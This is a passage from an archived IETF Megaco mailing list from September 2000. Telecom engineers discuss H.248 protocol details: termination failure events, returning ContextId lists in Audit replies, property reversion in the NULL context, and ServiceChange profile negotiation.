service too?

5) Will the MGC get a ServiceChange w/Method=Forced on this termination
      w/Reason =
            904 Termination malfunctioning
            905 Termination taken out of service
            906 Loss of lower layer connectivity
            907 Transmission Failure
    after the notify or before the notify?


It seems like we have 2 ways to report that a termination is not
working.


Thanks
Chuong

--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------6A9CBA5FF2DD00CD14898E5B
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi All,
<p>In the Network Package there is an Event, network failure:
<br>"The termination generates this event upon detection of a failure due
to external or internal
<br>network reasons."
<p>1) Is this package only intended for ephermeral termination or physical
termination too?
<br>&nbsp;&nbsp;&nbsp;&nbsp; Does it make sense to used it for TDM termination?
<p>2) During normal call setup, is the expectation that the MGC will always
have to specify this
<br>&nbsp;&nbsp;&nbsp;&nbsp; event when adding an ephermeral termination?
<p>3) Is this event intended to be used after call setup to notify MGC&nbsp;that
there is some
<br>&nbsp;&nbsp;&nbsp;&nbsp; network problem related to this termination
associated w/this event?
<p>4) If this event is received at MGC, has the termination been put out
of service too?
<p>5) Will the MGC get a ServiceChange w/Method=Forced on this termination
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; w/Reason =
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
904 Termination malfunctioning
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
905 Termination taken out of service
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
906 Loss of lower layer connectivity
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
907 Transmission Failure
<br>&nbsp;&nbsp;&nbsp; after the notify or before the notify?
<br>&nbsp;
<p>It seems like we have 2 ways to report that a termination is not working.
<br>&nbsp;
<p>Thanks
<br>Chuong
<pre>--&nbsp;
&nbsp; Alcatel USA, Inc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Internet: Chuong.Nguyen@usa.alcatel.com
&nbsp; 1000 Coit Road Plano, Texas 75075&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone:&nbsp;&nbsp;&nbsp; (972) 519-4613
&nbsp; **** The opinions expressed are not those of Alcatel USA, Inc ****</pre>
&nbsp;</html>

--------------6A9CBA5FF2DD00CD14898E5B--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 11:17:32 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06413
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 11:17:30 -0400 (EDT)
Received: from standards (47.234.32.16:4862) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9284A@standards.nortelnetworks.com>; Tue, 12 Sep 2000 11:02:11 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2395 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 11:02:10 -0400
Received: from qhars002.nortel.com (47.101.112.102:41728) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92849@standards.nortelnetworks.com>; Tue, 12 Sep 2000
          11:02:10 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Tue, 12 Sep 2000 16:15:05 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Tue, 12 Sep 2000 11:14:51 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37AGHF1>; Tue, 12 Sep 2000 11:14:50 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D6D@zcard00g.ca.nortel.com>
Date:         Tue, 12 Sep 2000 11:14:47 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Context List in H.248
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The functionality is already available, as Shalini explains.  Changing the
syntax amounts to an optimization.  That's why I ruled it a v2 issue.

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Monday, September 11, 2000 11:01 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Context List in H.248
>
>
> G'Day Shalini,
>
> So we have an inconsistancy in the protocol. The protocol text in
> version 1 explicitely says that we have this functionality but the
> syntax doesn't allow it. To me returning a list of context
> IDs is pretty
> important functionality. So we are left with the decision to
> update the
> syntax or to remove the text. I prefer the former.
>
> Cheers, Christian
>
> Shalini Philip wrote:
> >
> > Hello Christian, list,
> >
> >     I recall this issue being discussed on the mailing list
> sometime back.
> > And it was decided that we would modify the grammar to
> return a Context Id
> > list only in V2.
> > The information of ContextId list can be conveyed by using
> different Action
> > Replies in the existing grammar. But as I see it, it is not
> possible to
> > specify an Action Reply with an empty Audit reply.
> >
> > Thanks & Regards,
> >    Shalini Philip.
> >
> > Christian Groves wrote:
> >
> > > G'Day all,
> > >
> > > I've found an inconsistency between the text and the encodings.
> > >
> > > In section 7.2.5 AuditValue it has the following table:
> > >
> > > The following illustrates other information that can be
> obtained with
> > > the Audit Command:
> > > ContextID       TerminationID   Information Obtained
> > > :
> > > All             wildcard        Audit of all matching
> Terminations and
> > >                                 the Context to which they
> are associated
> > > All             Root            List of all ContextIds
> > >
> > > However the ABNF nor the ASN.1 have the support to send
> back a list of
> > > context IDs. This is complicated by the fact the
> ContextIds sit above
> > > the command. I think the functionality is desirable and
> valid so I guess
> > > we need to fix the encodings.
> > >
> > > Firstly do people see this as a valid problem? If so one
> solution would
> > > be to add the ContextIDList to AuditReturnParameter. Do
> people have
> > > other suggestions?
> > >
> > > Cheers, Christian
> > >
> > > Notice to Recipient:
> > > This message is intended only for the use of the Addressee
> > > and may contain information that is proprietary and confidential
> > > and/or privileged by law. If you received this e-mail in error,
> > > any review, use, dissemination, distribution or copying of this
> > > e-mail is strictly prohibited. If you have received this e-mail in
> > > error, please notify us immediately of the error by return e-mail
> > > and please delete this message and all attachments from
> your system.
> > > Thank you.
> >
> > --
> > Regards,
> >
> > Shalini Philip
> > Globespan Inc.
> > E-Mail : mailto:sphilip@globespan.net
> > Web    : http://www.globespan.net
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 16:13:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA13451
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 16:13:42 -0400 (EDT)
Received: from standards (47.234.32.16:2697) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB929EC@standards.nortelnetworks.com>; Tue, 12 Sep 2000 15:55:22 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2920 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 15:55:22 -0400
Received: from qhars002.nortel.com (47.101.112.102:39366) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB929EA@standards.nortelnetworks.com>; Tue, 12 Sep 2000
          15:55:21 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Tue, 12 Sep 2000 21:07:39 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Tue, 12 Sep 2000 10:16:15 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SVJ7V1TQ>; Tue, 12 Sep 2000 10:12:47 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D6C@zcard00g.ca.nortel.com>
Date:         Tue, 12 Sep 2000 10:12:07 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

My first remark is that one of the first things a programmer learns is to
initialize all variables.  In this context, that means that if you want the
termination to have certain values after it is returned to the NULL context,
set them right away rather than going through any painful process of audit
and reset.

My second point is that there isn't much point grumbling over package
defaults being reset.  At least 90% of the time our packages say "as
provisioned" in any event.

The fact is that provisioned values are going to save the MGC time on
niggling little things like whether this particular trunk circuit should
have a two-wire or four-wire continuity test.  This means it can concentrate
on stuff that varies per-call.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Monday, September 11, 2000 5:17 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> There is text that says:
>    When a provisioned Termination is Subtracted from a context, its
>    property values shall revert to:
>    * the default value, if specified for the property and not
>      overridden by provisioning,
>    * otherwise, the provisioned value.
>
> So if it was provisioned, that is the value it reverts to.
>
> Of course I think this is a small problem because it is
> unpredictable.  The MGC does not know if the MG has provisioned
> some value.  It has no way to find out, short of looking at the
> value after cold start and seeing if it is different from the
> package defined value.  If different, it could assume
> provisioning overrode
> the package defined default.  If it was the same,
> it doesn't really know, but the effect is roughly the same,
> so long as the MG causes a ServiceChange if in fact it
> is provisioned, and the provisioned value changed while there
> was an active control association.
>
> This means there is no point in having a package defined
> default value -- the MGC must always audit, so that it can
> figure out what value the property will revert to when the
> termination is Subtracted.
>
> As a practical matter:
>         Default values defined in packages are (as of that
>                 change "last spring") meaningless
>         All values must be audited upon startup
>         All changes in provisioning when an active control
>                 association exists must be followed by
>                 a ServiceChange command from MG to MGC
>
> Now, the REAL hard problem is failover of the MGC.  The
> new MGC takes over an MG which could have terminations that
> are in a context.  It has no idea what values they will assume
> when the termination is subtracted.  Therefore, as a
> practical matter, it must issue a Modify in Null Context in
> the same transaction as the Subtract to set them to a value
> it is comfortable with.  We better hope there are no
> parameters that will "glitch" doing this, as it is not
> possible to have the change be atomic.
>
> In general, given the revert-to-default-or-provisioned rule,
> I expect every Subtract will need to do this unless the MGC
> knows that the default-or-provisioned value is what it wants
> the value to be.  So, the rule is that you audit and save
> that value.  When you Subtract, you compare the saved
> value to what you want it to be.  If those are the same,
> no Modify is needed.  If they differ, you put the Modify
> as the next command following the Subtract in the Transaction.
> If you are the failed over MGC, you always use the Modify
> In this case you can never actually discover the provisioned
> value unless you can safely "test" it by putting it a Context,
> Subtracting it, and THEN auditing.
>
> Not pretty, but at least it works (except for the glitch
> possibility).  I liked the other way.
>
> Brian
>
>
> > -----Original Message-----
> > From: sgautam@hss.hns.com [mailto:sgautam@hss.hns.com]
> > Sent: Monday, September 11, 2000 2:30 AM
> > To: Rosen, Brian
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> >
> >
> > Hi,
> >
> > >> Now we have defined "default" to be what the package definition
> > >>says it should be.
> >
> > Does 'default' refer to values as defined in packages...or do
> > they refer to the
> > values as provisioned on the termination ( by lets say an
> > operator sitting on
> > MG). For eg. when Tom mentioned that the correct way to deal
> > with the Echo
> > Cancellation problem was to set the provisioned value to
> > 'off' for that
> > termination, isnt it obvious that a termination would revert
> > back to this
> > 'provisioned' value after subtarct rather than the default
> > 'on' as mentioned in
> > the package?
> >
> > Or does this provisioned value becomes default for it?
> >
> > Thanx and regards,
> > Sandy G
> >
> >
> >
> >
> > "Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/09/2000 02:26:22 AM
> >
> > Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
> >
> > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > cc:    (bcc: Sandeep Gautam/HSS)
> >
> > Subject:  Re: Can MGC modify term in NULL Context ?
> >
> >
> >
> >
> >
> > Now we have defined "default" to be what the package definition
> > says it should be.
> >
> > Let's take, for example, tdmc/ec.  Suppose the MGC wanted to
> > "permanently"
> > disable echo cancel on a termination.  It sets
> > tdmc/ec off in null context, and it stays off, unless the MGC
> > turns it on for a particular call.
> >
> > I don't believe we ever changed that behavior, so somehow we
> > screwed up the words.  Here is what the text used to say:
> >
> > "When a Termination is created, properties get their default
> > values, unless
> > the controller specifically sets a different value.  The
> > default value of a
> > property of a physical Termination can be changed by setting it to a
> > different value when the Termination is in the null Context.
> > Every time
> > such a Termination returns to the null Context, the values of
> > its properties
> > are reset to this default value"
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > > Sent: Friday, September 08, 2000 3:35 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Can MGC modify term in NULL Context ?
> > >
> > >
> > > Sorry, I have to contradict you on the second item.  See
> > the last few
> > > sentences of section 7.2.3.
> > >
> > > > -----Original Message-----
> > > > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > > > Sent: Friday, September 08, 2000 2:36 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Can MGC modify term in NULL Context ?
> > > >
> > > >
> > > > > The question is that does the MG allow the MGC to change
> > > the package
> > > > > property values associated with a termination in NULL
> context ??
> > > > For a physical termination, yes, absolutely
> > > >
> > > > >
> > > > > And, if the answer is yes does this change the
> default values of
> > > > > the package properties associated with the termination.
> > > > > OR, does it only modify the properties temporarily for
> > now. If the
> > > > > termination is subsequently added and subtracted to and from
> > > > > a context,
> > > > > respectively the property values change to the default values
> > > > > before MGC modified them in NULL context.
> > > > It changes the current value, and the termination returns to
> > > > this value when it is subtracted.  You can think of this as
> > > > changing the default value, although it's volatile.
> > > >
> > > > Brian
> > > >
> > >
> >
> >
> >
> >
> >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 22:31:20 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA17906
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 22:31:19 -0400 (EDT)
Received: from standards (47.234.32.16:1062) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92BCF@standards.nortelnetworks.com>; Tue, 12 Sep 2000 22:16:11 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3531 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 22:16:10 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92BCE@standards.nortelnetworks.com>; Tue, 12 Sep 2000
          22:06:10 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8D2JSp22447; Wed, 13 Sep 2000 04:19:28 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          EAA01318; Wed, 13 Sep 2000 04:19:28 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id EAA09940; Wed, 13 Sep 2000
          04:19:24 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D6D@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BEE426.6FB838C@ericsson.com>
Date:         Wed, 13 Sep 2000 13:19:18 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Context List in H.248
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Tom,

But Shalini explains also "But as I see it, it is NOT possible to
specify an Action Reply with an empty Audit reply". I was confused with
this statement. As at least in the ASN1 we can return an empty
descriptor. I was trying to clarify this.

As I see now you can do this via ActionReplys and yes I think its
someting for v2 to look at as the action reply is a little clumsy.

Could we add some text to the Implementor's notes (informative) to say
how this is acheived in v1?

ie.
------------------------------
Implentor's Notes:
Section 7.2.5
Description:
In section 7.2.5 AuditValue it has the following table:
The following illustrates other information that can be obtained with
the Audit Command:
ContextID       TerminationID   Information Obtained
:
All             wildcard        Audit of all matching Terminations and
                                and the Context to which they are
                                associated.
All             Root            List of all ContextIds

Note: In version 1 the list of ContextIds should be returned by using
multiple Action Replys each containing a context from the list.
------------------------------

Cheers, Christian

Tom-PT Taylor wrote:
>
> The functionality is already available, as Shalini explains.  Changing
> the syntax amounts to an optimization.  That's why I ruled it a v2
> issue.
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > Sent: Monday, September 11, 2000 11:01 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Context List in H.248
> >
> >
> > G'Day Shalini,
> >
> > So we have an inconsistancy in the protocol. The protocol text in
> > version 1 explicitely says that we have this functionality but the
> > syntax doesn't allow it. To me returning a list of context
> > IDs is pretty
> > important functionality. So we are left with the decision to
> > update the
> > syntax or to remove the text. I prefer the former.
> >
> > Cheers, Christian
> >
> > Shalini Philip wrote:
> > >
> > > Hello Christian, list,
> > >
> > >     I recall this issue being discussed on the mailing list
> > sometime back.
> > > And it was decided that we would modify the grammar to
> > return a Context Id
> > > list only in V2.
> > > The information of ContextId list can be conveyed by using
> > different Action
> > > Replies in the existing grammar. But as I see it, it is not
> > possible to
> > > specify an Action Reply with an empty Audit reply.
> > >
> > > Thanks & Regards,
> > >    Shalini Philip.
> > >
> > > Christian Groves wrote:
> > >
> > > > G'Day all,
> > > >
> > > > I've found an inconsistency between the text and the encodings.
> > > >
> > > > In section 7.2.5 AuditValue it has the following table:
> > > >
> > > > The following illustrates other information that can be
> > obtained with
> > > > the Audit Command:
> > > > ContextID       TerminationID   Information Obtained
> > > > :
> > > > All             wildcard        Audit of all matching
> > Terminations and
> > > >                                 the Context to which they
> > are associated
> > > > All             Root            List of all ContextIds
> > > >
> > > > However the ABNF nor the ASN.1 have the support to send
> > back a list of
> > > > context IDs. This is complicated by the fact the
> > ContextIds sit above
> > > > the command. I think the functionality is desirable and
> > valid so I guess
> > > > we need to fix the encodings.
> > > >
> > > > Firstly do people see this as a valid problem? If so one
> > solution would
> > > > be to add the ContextIDList to AuditReturnParameter. Do
> > people have
> > > > other suggestions?
> > > >
> > > > Cheers, Christian
> > > >
> > > > Notice to Recipient:
> > > > This message is intended only for the use of the Addressee
> > > > and may contain information that is proprietary and confidential
>
> > > > and/or privileged by law. If you received this e-mail in error,
> > > > any review, use, dissemination, distribution or copying of this
> > > > e-mail is strictly prohibited. If you have received this e-mail
> in
> > > > error, please notify us immediately of the error by return
> e-mail
> > > > and please delete this message and all attachments from
> > your system.
> > > > Thank you.
> > >
> > > --
> > > Regards,
> > >
> > > Shalini Philip
> > > Globespan Inc.
> > > E-Mail : mailto:sphilip@globespan.net
> > > Web    : http://www.globespan.net
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 23:19:43 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA18430
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 23:19:36 -0400 (EDT)
Received: from standards (47.234.32.16:2406) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92BF1@standards.nortelnetworks.com>; Tue, 12 Sep 2000 23:04:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3569 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 23:04:14 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB92BEC@standards.nortelnetworks.com>; Tue, 12 Sep 2000 22:54:13
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8D37Uw21091; Wed, 13 Sep 2000 05:07:30 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA01750; Wed, 13 Sep 2000 05:07:29 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA09963; Wed, 13 Sep 2000
          05:07:26 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <353093573B82D411889E0000F808216648E349@zcard00q.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BEE9CF.9F001D1E@ericsson.com>
Date:         Wed, 13 Sep 2000 13:43:27 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         Peter Blatherwick <blather@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Pete,

Yes these somethings have been mentioned but I replied that I didn't
think these were sufficient. See comments [CHG] below.

I think that even in H248v1 we need to specify how profile
negotiation/confirmation is done. There is no proper description of
this. We should do this ASAP as if we wait until v2 then we will have
lots of non - compatible implementations on how they handle profiles.

Cheers, Christian

Peter Blatherwick wrote:
>
> I believe that "something's" you are looking for have already been
> discussed.
>
> Re solutions, I recall seeing on this thread:
> 1) Backoff mechanism, try Profile X, and if MG can't get it confirmed,
> go to next less capable profile Y.
[CHG] Just how is this achieved today? There is nothing H248 that says
how the negotiation is done. The MGC may return the profile for
negotiation but that's the extent of the text saying how negotiation is
used. Does it negotiate version? profile name?

> 2) Use multiple virtual MGs within the same physical device,
[CHG] I do not believe this is a sufficient solution for all cases. The
MG should be able to support different profiles in one Virtual MG.

> 3) Define super-profiles, containing X + Y, and being sure to resolve
> any resulting ambiguity (noting we currently have no rules for
> subclassing-like mechanism a la package definition, but it would be a
> nice version 2 piece to work through).
[CHG] Subclassing and superprofiles? This is not a 'now' solution and
definitely for version 9.  I don't see why you should go to all the
trouble of merging profiles a process that takes months when registering
multiples across the H.248 would solve the problem. The other issues is
who would do this: the Super Profile Forum? ;-). It would just add
another profile to the list to be supported and we then have the same
problem.

>
> May have missed some (did not go back and double-check).
>
> I also think a brief note on what profiles are intended to do
> (avoiding explicit rules) would be in order.  I think most of that
> material has also gone by in this thread.
>
> My 0.05 (to avoid Oz round-off ;-)
>
> -- Peter
>
> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Wednesday, September 06, 2000 19:59
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
> G'Day Brian,
>
> I completely agree that we want to make it HARD to have a multiplicity
>
> of overlapping profiles.  But with the current text I see that we make
>
> it impossible, its got one profile and only talks about a profile.
> That
> is why I'd like to see : a technical change in the implementor's guide
>
> or an implementation or "something" to say at least say how you cope
> with the case where: the MG supports multiple profiles and/or the MGC
> needs to access 2 profiles to complete a service. Its a real world
> issue
> that we have to deal with as soon as we have 2 profiles defined.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > What is wrong is that it promotes proliferation of
> > many overlapping profiles.  Profiles are supposed to be
> > a way of reducing the variability that Packages provide,
> > so that one could reasonably expect to be able to find
> > interoperable MGs and MGCs.
> >
> > No one can legislate this (no protocol police...), but
> > we can encourage, or discourage proliferation of
> > many profiles that attempt to solve the same problem
> > different ways.  If you support 100 profiles, you may
> > as well just ignore the profile info and look at the
> > audited package list!
> >
> > I want to make it HARD to have more than one profile
> > per MG (not MGC).  Not impossible, just hard.  I think
> > that will encourage coalescing around a small number of
> > profiles for specific purposes that all relevant MGs and
> > MGCs support, which in turn will make the protocol successful.
> >
> > What I fear is balkanization by proliferation of profiles,
> > which leads to non-interoperable devices.  It would be non
> > interoperable because there were no common profiles, rather
> > that if you found a common one, it wouldn't work.  The
> > package mechanism is a wonderful way to have all sorts of
> > extensions and features in MGs.  The profile mechanism was
> > designed to provide a way to corral the easy expansion into
> > more limited groups of options.  Generally, successful
> > protocols are not easy "bent" in many different ways -> you
> > get ONE way, and everyone does it that way, and the world
> > is better for it.  The package thing is great, but it is
> > a danger.  The profile is the only way I know to limit it's
> > potential to undermine the effectiveness of the protocol.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > To: Michael P DiGioia
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > Rosen, Brian
> > > Subject: Re: Profiles in Service Change
> > >
> > >
> > >
> > >
> > > Michael P DiGioia wrote:
> > >
> > > > Brian,
> > > >
> > > > > > So does that mean that nobody can make an MG which
> > > supports more than
> > > > > > one profile? :-)
> > > >
> > > > >One way to get around the limitation is to try to get
> > > > >service using the most "featurefull" profile.  If you fail
> > > > >to find an MGC that can serve that profile, try again with
> > > > >a different profile.
> > > >
> > > > I agree. I believe the point is that any one MG can support
> > > one or more
> > > > profile, however, once the most featurefull profile is
> > > found to be accepted
> > > > by an MGC, use it.
> > >
> > > I disagree as Brian's comments assumes a meaningful ordering
> > > relation between
> > > (at least a resonable subset of) profiles based on some set
> > > of features
> > > supported. I don't see that. Christian's proposal of allowing
> > > a listing of
> > > profiles seemed pretty good to me - what was wrong with this again
> ?
> > >
> > > -- Flemming
> > >
> > > >
> > > >
> > > > What we build into our IpPhone MG is our choice. I don't
> > > believe this limits
> > > > us in any way. If so, how?
> > > >
> > > > /mpd
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> > >
> > >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 23:19:45 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA18440
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 23:19:43 -0400 (EDT)
Received: from standards (47.234.32.16:2406) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92BF8@standards.nortelnetworks.com>; Tue, 12 Sep 2000 23:04:25 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3570 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 23:04:24 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB92BED@standards.nortelnetworks.com>; Tue, 12 Sep 2000 22:54:19
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8D37aw21097; Wed, 13 Sep 2000 05:07:36 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA01754; Wed, 13 Sep 2000 05:07:36 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA09967; Wed, 13 Sep 2000
          05:07:32 +0200 (MET DST)
